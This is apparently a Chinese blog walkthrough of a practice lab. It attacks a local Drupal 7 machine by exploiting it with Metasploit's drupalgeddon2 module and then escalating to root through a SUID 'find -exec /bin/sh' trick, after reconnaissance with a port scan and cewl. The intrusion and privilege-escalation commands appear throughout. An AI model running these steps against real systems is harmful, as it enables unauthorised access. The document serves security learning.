1.收集信息
cms信息 使用的是Drupal的cms
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131234149-1886996429.png)
端口信息 开开启了22端口,80端口,111端口
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131234955-1729206377.png)
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131235720-1826730720.png)
通过cewl收集敏感信息并生成字典
cewl http://192.168.0.119 -w passwd.txt
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131236295-186926474.png)
2.漏洞分析与利用
通过robots.txt查看敏感目录内容获取中重要信息
可以从uprgade.txt看出,使用的cms是版本为7.x的Drupal
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131236922-610675352.png)
搜索相关漏洞
进入msfconsle ——> search Drupal
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131237654-647549604.png)
尝试使用最新的,rank为execllent的payload: exploit/unix/webapp/drupal_drupalgeddon2
使用该payload后查看目标是否在可攻击版本范围内
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131238426-639905806.png)
设置攻击目标,得到session会话
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131239013-1698065779.png)
3.尝试提权
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131239503-1843872549.png)
内核作为最后杀招不得已再用。首先联想到常见几种提权方式,suid提权
python -c 'import pty;pty.spawn("/bin/bash")' #利用python的pty获得一个完整的tty
find / -perm -u=s -type f 2>/dev/null #将有suid权限的打印出来
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131240092-1662107229.png)
发现常用于usid提权的工具find
cd /tmp #切换到tmp目录下
touch luojun #创建lj文件
find luojun -exec "whoami" \; #查询lj文件并执行whoami命令
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131240659-1016720380.png)
成功发现执行命令的是root权限
find luojun -exec "/bin/bash" \; #将bash的shell反弹出来,发现失败了
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131241175-1965173121.png)
find luojun -exec "/bin/sh" \; #将sh的shell反弹出来,发现成功,获得root权限
![clipboard clipboard](https://img2018.cnblogs.com/blog/1943028/202003/1943028-20200301131241734-859931340.png)
提权成功,接下来任意妄为寻找flag
posted @
2020-03-01 13:13
我要变超人
阅读(
752)
评论()
编辑
收藏
举报